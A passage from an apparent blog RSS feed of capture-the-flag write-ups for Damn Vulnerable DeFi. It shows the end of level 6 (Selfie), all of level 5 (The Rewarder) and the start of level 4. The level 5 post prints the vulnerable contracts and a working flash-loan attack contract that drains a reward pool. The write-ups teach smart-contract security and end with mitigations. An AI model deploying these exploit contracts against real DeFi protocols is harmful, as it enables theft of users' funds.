    <span class="hljs-keyword">await</span> attack6.attack();

    <span class="hljs-keyword">const</span> twoDaysTime = <span class="hljs-number">2</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>; <span class="hljs-comment">// Increase time cheat code</span>
    <span class="hljs-keyword">await</span> time.increase(twoDaysTime);

    <span class="hljs-keyword">await</span> governance.executeAction(<span class="hljs-number">1</span>);
  });
</code></pre>
<p>After increasing the time by two days, we can finally execute the <code>emergencyExit()</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> governance.executeAction(<span class="hljs-number">1</span>);
</code></pre>
<p>Let's run the test with the following command:</p>
<pre><code class="lang-bash">yarn selfie
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714877548702/b54a7e28-16ec-42f3-bab6-b4fabd0bb680.png" alt /></p>
<p>Congrats! You just beat the level 6 - Selfie - of Damn Vulnerable DeFi.</p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<p>Multiple approaches could have been taken to mitigate this exploit:</p>
<ul>
<li><p>Access control for the <code>snapshot()</code> function;</p>
</li>
<li><p>No arbitrary address for the <code>emergencyExit()</code>! Just hardcode an address, and add a function to update the address if needed, with proper access control of course.</p>
</li>
<li><p>The votes calculation is far from ideal here. Some guards against tokens received via flash loans could have been implemented.</p>
</li>
<li><p>Prefer well-known and battle-tested libraries like <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/governance/Governor.sol">OpenZeppelin Governance</a> when possible.</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[Damn Vulnerable DeFi | 5 - The Rewarder]]></title><description><![CDATA[Goals
In the The Rewarder challenge, we have to claim all the rewards from the next distribution round, despite having no DVT tokens. A hint points us at a new flashloan pool...

See the contracts
The Contracts
// SPDX-License-Identifier: MIT
pragma ...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-5-the-rewarder</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-5-the-rewarder</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Mon, 15 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714462312213/a443c1a6-e4a6-4d15-84f5-3ffccf93a42f.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p>In the <strong>The Rewarder</strong> challenge, we have to claim all the rewards from the next distribution round, despite having no DVT tokens. A hint points us at a new flashloan pool...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714462403202/bc2745b5-4835-4485-aae5-d84412396fd6.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/the-rewarder">See the contracts</a></p>
<h2 id="heading-the-contracts">The Contracts</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"solady/src/utils/FixedPointMathLib.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"solady/src/utils/SafeTransferLib.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">RewardToken</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./RewardToken.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">AccountingToken</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./AccountingToken.sol"</span>;

<span class="hljs-comment">/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TheRewarderPool</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">FixedPointMathLib</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;

    <span class="hljs-comment">// Minimum duration of each round of rewards in seconds</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> REWARDS_ROUND_MIN_DURATION <span class="hljs-operator">=</span> <span class="hljs-number">5</span> <span class="hljs-literal">days</span>;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> REWARDS <span class="hljs-operator">=</span> <span class="hljs-number">100</span> <span class="hljs-literal">ether</span>;

    <span class="hljs-comment">// Token deposited into the pool by users</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> liquidityToken;

    <span class="hljs-comment">// Token used for internal accounting and snapshots</span>
    <span class="hljs-comment">// Pegged 1:1 with the liquidity token</span>
    AccountingToken <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> accountingToken;

    <span class="hljs-comment">// Token in which rewards are issued</span>
    RewardToken <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> rewardToken;

    <span class="hljs-keyword">uint128</span> <span class="hljs-keyword">public</span> lastSnapshotIdForRewards;
    <span class="hljs-keyword">uint64</span> <span class="hljs-keyword">public</span> lastRecordedSnapshotTimestamp;
    <span class="hljs-keyword">uint64</span> <span class="hljs-keyword">public</span> roundNumber; <span class="hljs-comment">// Track number of rounds</span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint64</span>) <span class="hljs-keyword">public</span> lastRewardTimestamps;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InvalidDepositAmount</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token</span>) </span>{
        <span class="hljs-comment">// Assuming all tokens have 18 decimals</span>
        liquidityToken <span class="hljs-operator">=</span> _token;
        accountingToken <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> AccountingToken();
        rewardToken <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> RewardToken();

        _recordSnapshot();
    }

    <span class="hljs-comment">/**
     * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
     *         Also distributes rewards if available.
     * @param amount amount of tokens to be deposited
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">revert</span> InvalidDepositAmount();
        }

        accountingToken.mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
        distributeRewards();

        SafeTransferLib.safeTransferFrom(
            liquidityToken,
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
            amount
        );
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        accountingToken.burn(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
        SafeTransferLib.safeTransfer(liquidityToken, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">distributeRewards</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> rewards</span>) </span>{
        <span class="hljs-keyword">if</span> (isNewRewardsRound()) {
            _recordSnapshot();
        }

        <span class="hljs-keyword">uint256</span> totalDeposits <span class="hljs-operator">=</span> accountingToken.totalSupplyAt(
            lastSnapshotIdForRewards
        );
        <span class="hljs-keyword">uint256</span> amountDeposited <span class="hljs-operator">=</span> accountingToken.balanceOfAt(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
            lastSnapshotIdForRewards
        );

        <span class="hljs-keyword">if</span> (amountDeposited <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> totalDeposits <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
            rewards <span class="hljs-operator">=</span> amountDeposited.mulDiv(REWARDS, totalDeposits);
            <span class="hljs-keyword">if</span> (rewards <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>_hasRetrievedReward(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)) {
                rewardToken.mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, rewards);
                lastRewardTimestamps[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);
            }
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_recordSnapshot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        lastSnapshotIdForRewards <span class="hljs-operator">=</span> <span class="hljs-keyword">uint128</span>(accountingToken.snapshot());
        lastRecordedSnapshotTimestamp <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);
        <span class="hljs-keyword">unchecked</span> {
            <span class="hljs-operator">+</span><span class="hljs-operator">+</span>roundNumber;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_hasRetrievedReward</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> (lastRewardTimestamps[account] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span>
            lastRecordedSnapshotTimestamp <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            lastRewardTimestamps[account] <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span>
            lastRecordedSnapshotTimestamp <span class="hljs-operator">+</span> REWARDS_ROUND_MIN_DURATION);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isNewRewardsRound</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span>
            <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span>
            lastRecordedSnapshotTimestamp <span class="hljs-operator">+</span> REWARDS_ROUND_MIN_DURATION;
    }
}
</code></pre>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/security/ReentrancyGuard.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/utils/Address.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../DamnValuableToken.sol"</span>;

<span class="hljs-comment">/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A simple pool to get flashloans of DVT
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FlashLoanerPool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ReentrancyGuard</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">Address</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>;

    DamnValuableToken <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> liquidityToken;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotEnoughTokenBalance</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallerIsNotContract</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">FlashLoanNotPaidBack</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> liquidityTokenAddress</span>) </span>{
        liquidityToken <span class="hljs-operator">=</span> DamnValuableToken(liquidityTokenAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> liquidityToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">&gt;</span> balanceBefore) {
            <span class="hljs-keyword">revert</span> NotEnoughTokenBalance();
        }

        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span><span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.isContract()) {
            <span class="hljs-keyword">revert</span> CallerIsNotContract();
        }

        liquidityToken.<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);

        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.functionCall(abi.encodeWithSignature("receiveFlashLoan(<span class="hljs-keyword">uint256</span>)<span class="hljs-string">", amount));

        if (liquidityToken.balanceOf(address(this)) &lt; balanceBefore) {
            revert FlashLoanNotPaidBack();
        }
    }
}</span>
</code></pre>
<ol>
<li><p>The <code>TheRewarderPool</code> is the contract to exploit. It emits rewards every 5 days based on your liquidity shares (the more shares, the more rewards).</p>
</li>
<li><p>The <code>FlashLoanerPool</code> allows us to take a flashloan of DVT token (sounds like what we need!) and uses the <code>receiveFlashLoan</code> as a callback after transferring the token to the receiver.</p>
</li>
</ol>
<p>On top of that, we also have the two following token contracts:</p>
<ul>
<li><p><code>AccountingToken</code> is a limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshot capabilities.</p>
</li>
<li><p><code>RewardToken</code> is a classic ERC20 token emitted as a rewards. Its mint function inherits from the <code>onlyRoles</code> modifier from the <a target="_blank" href="https://github.com/Vectorized/solady">Solady</a> library.</p>
</li>
</ul>
<h2 id="heading-the-hack">The Hack</h2>
<p>This solution is fairly easy in The Rewarder, but it requires to understand and handle two things separately:</p>
<ol>
<li><p>Understand how the <code>distributeRewards()</code> function works, and why it is bad!</p>
</li>
<li><p>Keep track of time spent, so we can act at a very specific time.</p>
</li>
</ol>
<h3 id="heading-1-exploiting-the-distributerewards-function">1. Exploiting the <code>distributeRewards()</code> function</h3>
<p>Let's explore this function a bit more.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">distributeRewards</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> rewards</span>) </span>{
        <span class="hljs-keyword">if</span> (isNewRewardsRound()) {
            _recordSnapshot();
        }

        <span class="hljs-keyword">uint256</span> totalDeposits <span class="hljs-operator">=</span> accountingToken.totalSupplyAt(
            lastSnapshotIdForRewards
        );
        <span class="hljs-keyword">uint256</span> amountDeposited <span class="hljs-operator">=</span> accountingToken.balanceOfAt(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
            lastSnapshotIdForRewards
        );

        <span class="hljs-keyword">if</span> (amountDeposited <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> totalDeposits <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
            rewards <span class="hljs-operator">=</span> amountDeposited.mulDiv(REWARDS, totalDeposits);
            <span class="hljs-keyword">if</span> (rewards <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>_hasRetrievedReward(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)) {
                rewardToken.mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, rewards);
                lastRewardTimestamps[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);
            }
        }
    }
</code></pre>
<p>There are two issues in this function, which will allow us to cheat on the next distribution. Can you see them?</p>
<p>The first problem lies at the very beginning of the function:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> (isNewRewardsRound()) {
    _recordSnapshot();
}
</code></pre>
<p>This means that, after the 5-days period is over, the first user that will request a rewards distribution will also trigger the snapshot for this entire 5-days period. So what if we trigger the <code>distributeRewards()</code> function ourselves? Even though the period is over, we could still craft an attack to deposit some tokens triggering the distribution a the same time (the <code>distributeRewards()</code> is called in the <code>deposit()</code> function), and get some rewards! While this is not ideal, it wouldn't be such a big issue if it wasn't combine with the second problem...</p>
<p>The second problem is the shares calculation itself.</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> totalDeposits <span class="hljs-operator">=</span> accountingToken.totalSupplyAt(
     lastSnapshotIdForRewards
);
<span class="hljs-keyword">uint256</span> amountDeposited <span class="hljs-operator">=</span> accountingToken.balanceOfAt(
      <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
      lastSnapshotIdForRewards
);
</code></pre>
<p>The shares should take into account the amount of time the token have been deposited for, and not only the amount of tokens. This is a well known issue in DeFi. Without accounting for deposit duration, you expose yourself (and your users) to shares manipulation, like the one we are about to do :)</p>
<p>So, thanks to those 2 issues combined, we will be able to take the biggest possible flashloan of DVT tokens, deposit them into the pool, trigger the rewards distribution, cash out almost all rewards to ourselves, withdraw the tokens and finally, repay the loan! Easy Peasy!</p>
<h3 id="heading-2-keeping-track-of-the-time">2. Keeping track of the time</h3>
<p>We know that the <code>TheRewarderPool</code> is distributing rewards every 5 days. In order to execute our attack, we will have to act as soon as the current period is over, to make sure that we are the first user to call the <code>distributeRewards()</code> function.</p>
<p>If we check the deployment file provided in the <code>test</code> folder (<code>the-rewarder-challenge.js</code>), we can see that the previous distribution just happened:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// ...</span>
    <span class="hljs-comment">// Advance time 5 days so that depositors can get rewards</span>
    <span class="hljs-keyword">await</span> ethers.provider.send(<span class="hljs-string">"evm_increaseTime"</span>, [<span class="hljs-number">5</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>]); <span class="hljs-comment">// 5 days</span>

    <span class="hljs-comment">// Each depositor gets reward tokens</span>
    <span class="hljs-keyword">let</span> rewardsInRound = <span class="hljs-keyword">await</span> rewarderPool.REWARDS();
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
      <span class="hljs-keyword">await</span> rewarderPool.connect(users[i]).distributeRewards();
      expect(<span class="hljs-keyword">await</span> rewardToken.balanceOf(users[i].address)).to.be.eq(
        rewardsInRound.div(users.length)
      );
    }
<span class="hljs-comment">// ...</span>
</code></pre>
<p>So we will need to act at the next round of distributions in exactly 5 days.</p>
<p>Since this is not a "real scenario" on the mainnet, we can take advantage of the helper function <code>evm_increaseTime</code> provided by hardhat. This will allow us to launch our attack exactly when needed.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> ethers.provider.send(<span class="hljs-string">"evm_increaseTime"</span>, [<span class="hljs-number">5</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>]); <span class="hljs-comment">// 5 days</span>
</code></pre>
<h2 id="heading-solution">Solution</h2>
<p>Now that we know exactly what to do , let's implement the malicious contract that will allow us to exploit <strong>The Rewarder</strong> challenge.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.16;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IRewardPool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">distributeRewards</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> rewards</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isNewRewardsRound</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IFlashLoanPool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack5</span> </span>{
    IFlashLoanPool <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> flashLoanPool;
    IRewardPool <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> rewardPool;
    IERC20 <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> liquidityToken;
    IERC20 <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> rewardToken;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> player;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _flashLoanPool,
        <span class="hljs-keyword">address</span> _rewardPool,
        <span class="hljs-keyword">address</span> _liquidityToken,
        <span class="hljs-keyword">address</span> _rewardToken,
        <span class="hljs-keyword">address</span> _player
    </span>) </span>{
        flashLoanPool <span class="hljs-operator">=</span> IFlashLoanPool(_flashLoanPool);
        rewardPool <span class="hljs-operator">=</span> IRewardPool(_rewardPool);
        liquidityToken <span class="hljs-operator">=</span> IERC20(_liquidityToken);
        rewardToken <span class="hljs-operator">=</span> IERC20(_rewardToken);
        player <span class="hljs-operator">=</span> _player;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> liquidityToken.balanceOf(<span class="hljs-keyword">address</span>(flashLoanPool));
        flashLoanPool.flashLoan(amount);

        <span class="hljs-comment">// Withdraw rewards</span>
        <span class="hljs-keyword">uint256</span> rewards <span class="hljs-operator">=</span> rewardToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        rewardToken.<span class="hljs-built_in">transfer</span>(player, rewards);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">receiveFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// Approve and Deposit</span>
        liquidityToken.approve(<span class="hljs-keyword">address</span>(rewardPool), amount);
        rewardPool.deposit(amount);

        <span class="hljs-comment">// Withdraw and Repay loan</span>
        rewardPool.withdraw(amount);
        liquidityToken.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(flashLoanPool), amount);
    }
}
</code></pre>
<p>Here are all the steps in the correct order:</p>
<ul>
<li><p>Request a flashloan of the maximum amount;</p>
</li>
<li><p>In the callback function, approve the liquidityToken;</p>
</li>
<li><p>Then, deposit the whole amount into the pool (triggering the <code>distributeRewards()</code> function!);</p>
</li>
<li><p>Withdraw the tokens from the pool;</p>
</li>
<li><p>Repay the loan;</p>
</li>
<li><p>Transfer the tokens from the malicious contract to the player;</p>
</li>
</ul>
<p>Next, we have to edit the <code>the-rewarder.challenge.js</code> page so it can handle the execution for us:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    <span class="hljs-keyword">const</span> fiveDaysTime = <span class="hljs-number">5</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>;
    <span class="hljs-keyword">await</span> time.increase(fiveDaysTime);

    <span class="hljs-keyword">const</span> isNewRewardRound = <span class="hljs-keyword">await</span> rewarderPool.isNewRewardsRound();
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"isNewRewardRound?"</span>, isNewRewardRound);

    <span class="hljs-keyword">const</span> Attack5 = <span class="hljs-keyword">await</span> ethers.getContractFactory(<span class="hljs-string">"Attack5"</span>, deployer);
    <span class="hljs-keyword">const</span> attack5 = <span class="hljs-keyword">await</span> Attack5.deploy(
      flashLoanPool.address,
      rewarderPool.address,
      liquidityToken.address,
      rewardToken.address,
      player.address
    );

    <span class="hljs-keyword">await</span> attack5.attack();
});
</code></pre>
<p>Finally, we can run the test with the following command:</p>
<pre><code class="lang-bash">yarn the-rewarder
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714466411835/843adc0c-792a-4a24-a370-c1d9f9901700.png" alt /></p>
<p>Congrats! You just beat the level 5 - The Rewarder - of Damn Vulnerable DeFi.</p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Always account for time duration when calculating shares.</p>
</li>
<li><p>Use the <a target="_blank" href="https://eips.ethereum.org/EIPS/eip-4626">ERC-4626 Tokenized Vault Standard</a></p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[Damn Vulnerable DeFi | 4 - Side Entrance]]></title><description><![CDATA[Goals
In the Side Entrance challenge, we have to steal all the ETH from the pool. Flashloans are free, and we start with 1 ETH.

See the contracts
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

